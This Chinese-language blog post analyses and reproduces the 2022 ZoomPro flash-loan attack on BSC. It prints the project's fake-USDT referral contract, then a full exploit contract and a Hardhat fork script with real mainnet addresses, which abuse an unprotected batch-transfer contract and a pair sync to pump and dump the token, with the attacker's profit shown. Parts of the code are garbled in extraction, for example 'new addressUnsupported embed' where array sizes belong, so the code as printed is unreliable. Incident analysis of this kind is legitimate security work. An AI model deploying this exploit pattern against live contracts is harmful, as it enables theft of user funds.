# zoompro 攻击事件分析与复现 **Published by:** [d1rrick](https://paragraph.com/@d1rrick/) **Published on:** 2022-09-09 **URL:** https://paragraph.com/@d1rrick/zoompro ## Content 简介项目官网:https://zoompro.finance/#/main/swap 从项目官网js文件能看出来此项目大概率是个骗子盘关键合约假 u: 0x62D51AACb079e882b1cb7877438de485Cba0dD3f 批量转账合约:0x47391071824569F29381DFEaf2f1b47A4004933B 假u和token的池子:0x1c7ecBfc48eD0B34AAd4a9F338050685E66235C5 被黑代币 zoom:0x9CE084C378B3E65A164aeba12015ef3881E0F853分析攻击hash:https://bscscan.com/tx/0xe176bd9cfefd40dc03508e91d856bd1fe72ffc1e9260cd63502db68962b4de1a 来看下这个项目在测试网上的合约: https://testnet.bscscan.com/address/0x253d3EC210449F6aED6B50E6a7dB40d3Fc89A2E5// SPDX-License-Identifier: MIT pragma solidiy ^0.6.12; interface relationship { function defultFather() external returns (address); function father(address _addr) external view returns (address); function grandFather(address _addr) external returns (address); function otherCallSetRelationship(address _son, address _father) external; function getFather(address _addr) external view returns (address); function getGrandFather(address _addr) external view returns (address); } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function mint(uint256 amount) external returns (bool); function transferOwnership(address newOwner) external; } interface IdexRouter02 { function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function getAmountsOut(uint amountIn, address[] memory path) external view returns (uint[] memory amounts); } interface IusdtZhen { function walletAGate() external view returns (uint256); function walletBGate() external view returns (uint256); function fatherGate() external view returns (uint256); function grandFatherGate() external view returns (uint256); function brunGate() external view returns (uint256); function getPair(address tokenA, address tokenB) external view returns (address pair); } contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () public { address msgSender = msg.sender; _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == msg.sender, "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract AntiSwap is Ownable { address public usdtZhen; address public usdtJia; address public anti; //假u和token的lp address public pair; //真u和假u的lp address public pair2; address public defaultAdd; //断代后接收手续费的默认地址 relationship public RP; address public fundPoolAdd; //基金池收取手续费比率 uint256 public fundPoolRate; //基金池收取手续费比率 uint256 public sixGenSumRate; //六代比率,总的,扩大10倍 uint256[] public sixGenRate; //六代比率,每层,扩大100倍 IdexRouter02 router02 = IdexRouter02(0x10ED43C718714eb63d5aA57B78B54704E256024E); event Transfer(address indexed from, address indexed to, uint256 value); mapping(address => bool) public writeList; function setWhiteListBat(address[] calldata _addr, uint256 _type, bool _YorN) external onlyOwner {for (uint256 i = 0; i < _addr.length; i++) {writeList[_addr[i]] = _YorN;}} function init(address _usdtZhen, address _usdtJia, address _anti, address _router02, address _pair, address _pair2, address _defaultAdd, address _RP,address _fundPoolAdd, uint256 _fundPoolRate, uint256[] memory _sixGenRate) public onlyOwner() { usdtZhen = _usdtZhen; usdtJia = _usdtJia; anti = _anti; router02 = IdexRouter02(_router02); pair = _pair; pair2 = _pair2; defaultAdd = _defaultAdd; RP = relationship(_RP); //手续费有收小数,所以注意设置上去时,要扩大十倍,不然到时候也gg了 fundPoolAdd = _fundPoolAdd; fundPoolRate = _fundPoolRate; sixGenSumRate = 0; sixGenRate = _sixGenRate; for (uint256 i = 0; i < sixGenRate.length; i++) sixGenSumRate = sixGenSumRate + sixGenRate[i]; IERC20(usdtZhen).approve(address(router02), uint256(- 1)); IERC20(usdtJia).approve(address(router02), uint256(- 1)); IERC20(anti).approve(address(router02), uint256(- 1)); IERC20(pair).approve(address(router02), uint256(- 1)); IERC20(pair2).approve(address(router02), uint256(- 1)); } // ****************************************************** //这里至下往上,逐级层级分润,详细见业务 function rpSixAwardPub(uint256 _amount, address _to) internal returns (uint256){ uint256 _trueAmount = _amount * (100000 - (sixGenSumRate + fundPoolRate)) / 100000; //算出来应获得,注意比率都扩大了十倍,都是浮点的锅 if(_to != address(0)) { rpSixAward(_to, _amount); //层级吃吃吃吃吃吃 } else { _trueAmount = _amount * (100000 - (fundPoolRate)) / 100000; //算出来应获得,注意比率都扩大了十倍,都是浮点的锅 } IERC20(anti).transfer(fundPoolAdd, _amount * fundPoolRate / 100000);//基金池马走日 return _trueAmount; } function rpSixAward(address _user, uint256 _amount) internal returns (uint256){ uint256 orw = 0; //累计已发出金额 address cua = _user; //当前用户,要轮啊轮,不要就完犊子了 //开始轮训奖励,吃吃吃吃吃吃饱业务 for (uint256 i = 0; i < sixGenRate.length; i++) { address _fa = RP.father(cua); //两种情况:一种是没有绑定上线,另一种是有上线但没有六级,断档了真特么见鬼 if (_fa == address(0)) { //处理方式都一样的,总的应发层级奖励-已发层级奖励。没有上线就是全吃吃吃吃吃,断档了就吃渣渣 uint256 defaultAll = ((_amount * sixGenSumRate / 100000) - orw); IERC20(anti).transfer(defaultAdd, defaultAll); break; } //余下就是有上线的杂鱼,按业务分层处理,只有一个注意点,真特么手续费扩大过10倍,只处理0.X的费率,还说写死鬼 uint256 _rw = (_amount * sixGenRate[i] / 100000); IERC20(anti).transfer(_fa, _rw); //累计发放过的金额,给孤儿或断档做计算数据。更替地址,给他老家伙轮训 cua = _fa; orw += _rw; } return orw; } // ****************************************************** //真u到token function buy(uint256 _amount) public { IERC20(usdtZhen).transferFrom(msg.sender, address(this), _amount); //开始得到token address[] memory path = new addressUnsupported embed; path[0] = usdtZhen; path[1] = usdtJia; path[2] = anti; uint256[] memory amountSwap = router02.swapExactTokensForTokens(_amount, 0, path, address(this), block.timestamp); uint256 bf = amountSwap[amountSwap.length - 1];//查询token余额 uint256 bk = rpSixAwardPub(bf, msg.sender);//开始六层分润 IERC20(anti).transfer(msg.sender, bk);//按刨除分润后的金额,系数打给用户 } function sell(uint256 _amount) public { IERC20(anti).transferFrom(msg.sender, address(this), _amount); _amount = rpSixAwardPub(_amount, msg.sender);//修改金额,变成六层分润过后的金额 address[] memory path = new addressUnsupported embed; path[0] = anti; path[1] = usdtJia; path[2] = usdtZhen; router02.swapExactTokensForTokens(_amount, 0, path, msg.sender, block.timestamp); } // ****************************************************** //假u到token function buy2(uint256 _amount) public { require(writeList[msg.sender],"no swap role"); IERC20(usdtJia).transferFrom(msg.sender, address(this), _amount); address[] memory path = new addressUnsupported embed; path[0] = usdtJia; path[1] = anti; uint256[] memory amountSwap = router02.swapExactTokensForTokens(_amount, 0, path, address(this), block.timestamp); uint256 bf = amountSwap[amountSwap.length - 1];//查询token余额 uint256 bk = rpSixAwardPub(bf, address(0));//开始六层分润 IERC20(anti).transfer(msg.sender, bk);//按刨除分润后的金额,系数打给用户 } function sell2(uint256 _amount) public { require(writeList[msg.sender],"no swap role"); IERC20(anti).transferFrom(msg.sender, address(this), _amount); _amount = rpSixAwardPub(_amount, address(0));//修改金额,变成六层分润过后的金额 address[] memory path = new addressUnsupported embed; path[0] = anti; path[1] = usdtJia; router02.swapExactTokensForTokens(_amount, 0, path, msg.sender, block.timestamp); } // ****************************************************** //真u到假u function buy3(uint256 _amount) public { require(writeList[msg.sender],"no swap role"); IERC20(usdtZhen).transferFrom(msg.sender, address(this), _amount); address[] memory path = new addressUnsupported embed; path[0] = usdtZhen; path[1] = usdtJia; uint256[] memory amountSwap = router02.swapExactTokensForTokens(_amount, 0, path, msg.sender, block.timestamp); } function sell3(uint256 _amount) public { require(writeList[msg.sender],"no swap role"); IERC20(usdtJia).transferFrom(msg.sender, address(this), _amount); address[] memory path = new addressUnsupported embed; path[0] = usdtJia; path[1] = usdtZhen; router02.swapExactTokensForTokens(_amount, 0, path, msg.sender, block.timestamp); } // ****************************************************** //真u到假u,内部调用。区别是:这个是转账到指定用户,上面那个是转账给调用人 function buy3(uint256 _amount, address _user) internal { IERC20(usdtZhen).transferFrom(msg.sender, address(this), _amount); address[] memory path = new addressUnsupported embed; path[0] = usdtZhen; path[1] = usdtJia; router02.swapExactTokensForTokens(_amount, 0, path, _user, block.timestamp); } function sell3(uint256 _amount, address _user) internal { IERC20(usdtJia).transferFrom(msg.sender, address(this), _amount); address[] memory path = new addressUnsupported embed; path[0] = usdtJia; path[1] = usdtZhen; router02.swapExactTokensForTokens(_amount, 0, path, _user, block.timestamp); } // ****************************************************** // 流动性管理- 真u到token function addL(uint256 _amountADesired, uint256 _amountBDesired) public { //把用户的真u搞成假u,就当时收用户假u buy3(_amountADesired, address(this)); IERC20(anti).transferFrom(msg.sender, address(this), _amountBDesired); router02.addLiquidity(usdtJia, anti, IERC20(usdtJia).balanceOf(address(this)), _amountBDesired, 0, 0, msg.sender, block.timestamp); } function remL(uint256 _liquidity) public { //上一步:用户得到lp实际是:假u和token组合的lp。所以解除的话就是:得到假u和token IERC20(pair).transferFrom(msg.sender, address(this), _liquidity); router02.removeLiquidity(usdtJia, anti, _liquidity, 0, 0, address(this), block.timestamp); //然后把假u兑换真u address[] memory path = new addressUnsupported embed; path[0] = usdtJia; path[1] = usdtZhen; router02.swapExactTokensForTokens(IERC20(usdtJia).balanceOf(address(this)), 0, path, address(this), block.timestamp); //都给用户 IERC20(usdtZhen).transfer(msg.sender, IERC20(usdtZhen).balanceOf(address(this))); IERC20(anti).transfer(msg.sender, IERC20(anti).balanceOf(address(this))); } // 流动性管理- token到假u。上面是把用户的真u搞成假u,然后添加了池子2的流动性。这一步是手里面直接有假u了,直接添加池子2流动性。以增加池子2假u和token的交易量(实际上是真u和token交易量) function addL2(uint256 _amountADesired, uint256 _amountBDesired) public { IERC20(usdtJia).transferFrom(msg.sender, address(this), _amountADesired); IERC20(anti).transferFrom(msg.sender, address(this), _amountBDesired); router02.addLiquidity(usdtJia, anti, _amountADesired, _amountBDesired, 0, 0, msg.sender, block.timestamp); } function remL2(uint256 _liquidity) public { IERC20(pair).transferFrom(msg.sender, address(this), _liquidity); router02.removeLiquidity(usdtJia, anti, _liquidity, 0, 0, msg.sender, block.timestamp); } // 流动性管理- 真u到假u。这里是添加池子1的流动性,这里是给用户提供转换的 function addL3(uint256 _amountADesired, uint256 _amountBDesired) public { IERC20(usdtZhen).transferFrom(msg.sender, address(this), _amountADesired); IERC20(usdtJia).transferFrom(msg.sender, address(this), _amountBDesired); router02.addLiquidity(usdtZhen, usdtJia, _amountADesired, _amountBDesired, 0, 0, msg.sender, block.timestamp); } function remL3(uint256 _liquidity) public { IERC20(pair2).transferFrom(msg.sender, address(this), _liquidity); router02.removeLiquidity(usdtJia, usdtZhen, _liquidity, 0, 0, msg.sender, block.timestamp); } // ****************************************************** 询价 function getPrice(address _token, uint256 _amount) public view returns (uint256){ address[] memory path = new addressUnsupported embed; if (_token == usdtZhen) { path[0] = usdtZhen; path[1] = usdtJia; path[2] = anti; } else { path[0] = anti; path[1] = usdtJia; path[2] = usdtZhen; } return router02.getAmountsOut(_amount, path)[2]; } function getPrice2(address _token, uint256 _amount) public view returns (uint256){ address[] memory path = new addressUnsupported embed; if (_token == usdtJia) { path[0] = usdtJia; path[1] = anti; } else { path[0] = anti; path[1] = usdtJia; } return router02.getAmountsOut(_amount, path)[1]; } function getPrice3(address _token, uint256 _amount) public view returns (uint256){ address[] memory path = new addressUnsupported embed; if (_token == usdtZhen) { path[0] = usdtZhen; path[1] = usdtJia; } else { path[0] = usdtJia; path[1] = usdtZhen; } return router02.getAmountsOut(_amount, path)[1]; } // ****************************************************** 普通币币,查询lp function getLp(address fa, address tokenA, address tokenB) public view returns (address pair){return IusdtZhen(fa).getPair(tokenA, tokenB);} function withdrawToken(address token, address to, uint value) public onlyOwner returns (bool){ (bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success, string(abi.encodePacked("fail code 14", data))); return success; } } 逻辑大概是 用户用真u买币->真u换成假u->假u换币 实际上项目方有两个池子 一个是真u和假u 的池子 一个是假u和币的池子漏洞成因项目方为了方便空投发币方便创建了一个批量发币合约,但是不知道为啥项目方往这个合约里打了100w的假u,这个合约是不开源的,但是没有权限控制,任何人都可以调用,猜测攻击者从项目方的地址交易记录中发现里这个合约。攻击流程攻击者从pancake池子中闪电贷了300w usdt ,然后调用受害合约的buy方法 买入大量代币,此时攻击者手里有大量代币,然后攻击者调用批量转账合约里的方法将合约里的100w 假u转入pair 合约中,然后调用pair合约的sync方法,强制更新了pair合约的储备量,此时币价会拉升,相当于给攻击者手里的筹码拉盘了,然后攻击者开始砸盘,最终获利$6.1w复现攻击合约/** *Submitted for verification at BscScan.com on 2022-03-16 */ pragma solidity = 0.8.6; interface IERC20 { function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); } interface IPancakeCallee { function pancakeCall(address sender, uint amount0, uint amount1, bytes calldata data) external; } interface IPancakePair { function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; } interface IUSD { function batchToken(address[] calldata _addr, uint256[]calldata _num, address token)external ; function swapTokensForExactTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts) ; function buy(uint256) external ; function sell(uint256)external ; function getReserves() external view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast); function sync ()external ; } contract flashloan is IPancakeCallee{ address private bnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c; address private router = 0x10ED43C718714eb63d5aA57B78B54704E256024E; address private usdt = 0x55d398326f99059fF775485246999027B3197955; address private swap = 0x5a9846062524631C01ec11684539623DAb1Fae58; IERC20 Usdt =IERC20 (usdt); address private zoom = 0x9CE084C378B3E65A164aeba12015ef3881E0F853; address private batch = 0x47391071824569F29381DFEaf2f1b47A4004933B; address private fU = 0x62D51AACb079e882b1cb7877438de485Cba0dD3f; address private pp = 0x1c7ecBfc48eD0B34AAd4a9F338050685E66235C5; IERC20 Zoom =IERC20 (zoom); IPancakePair LP= IPancakePair(0x7EFaEf62fDdCCa950418312c6C91Aef321375A00); function loan(uint256 amount) public payable{ require(msg.sender ==0xc578d755cd56255d3ff6e92e1b6371ba945e3984, "fuck u"); LP.swap(amount,0,address(this),new bytes(1));//vay tiền } function pancakeCall(address sender, uint amount0, uint amount1, bytes calldata data) override external { uint256 ba = Usdt.balanceOf(address(this)); Usdt.approve(swap,100000000000000000000000000000000000000); address[] memory path = new addressUnsupported embed; path[0] = usdt; path[1] =swap; IUSD(swap).buy(ba); address[] memory n1 = new addressUnsupported embed; n1[0] = pp; uint256[] memory n2 = new uint256Unsupported embed; n2[0] = 1000000 ether; IUSD(batch).batchToken(n1,n2,fU); IUSD(pp).sync(); uint256 baz = Zoom.balanceOf(address(this)); Zoom.approve(swap, baz*100); IUSD(swap).sell(baz); Usdt.transfer(address(LP),(ba*10030)/10000);//tra tien // uint256 U= Usdt.balanceOf(address(this)); IERC20(usdt).transfer(0xc578d755cd56255d3ff6e92e1b6371ba945e3984,U); } } 使用hardhat fork bsc主网 21055930区块:攻击脚本const hre = require('hardhat') async function main(){ const attackAddr = "0xc578d755cd56255d3ff6e92e1b6371ba945e3984" const usdtAddress = "0x55d398326f99059fF775485246999027B3197955" const amount = 3000000000000000000000000 //step1 deploy attack contract await hre.network.provider.request({ method:"hardhat_impersonateAccount", params:[attackAddr] }) const signer = await hre.ethers.getSigner(attackAddr) let attackcontract = await hre.ethers.getContractFactory("flashloan",signer) let usdtContract = await hre.ethers.getContractAt('IBEP20',usdtAddress) let attackContract = await attackcontract.deploy() await attackContract.deployed() console.log("attack contract deployed address is:",attackContract.address) const bal1 = await usdtContract.balanceOf(attackAddr) console.log("before attack hacker usdt balance is:",bal1/1e18) //step2 excute flashloan console.log("start attack....") await attackContract.loan(BigInt(amount)) const bal2 = await usdtContract.balanceOf(attackAddr) console.log("attack complete usdt balance is :",bal2/1e18) } main() 结果如下:attack contract deployed address is: 0x95eaaA92eE4e383e728959083F4B9fd3C21227FB before attack hacker usdt balance is: 0 start attack.... attack complete usdt balance is : 61160.28312893072 ## Publication Information - [d1rrick](https://paragraph.com/@d1rrick/): Publication homepage - [All Posts](https://paragraph.com/@d1rrick/): More posts from this publication - [RSS Feed](https://api.paragraph.com/blogs/rss/@d1rrick): Subscribe to updates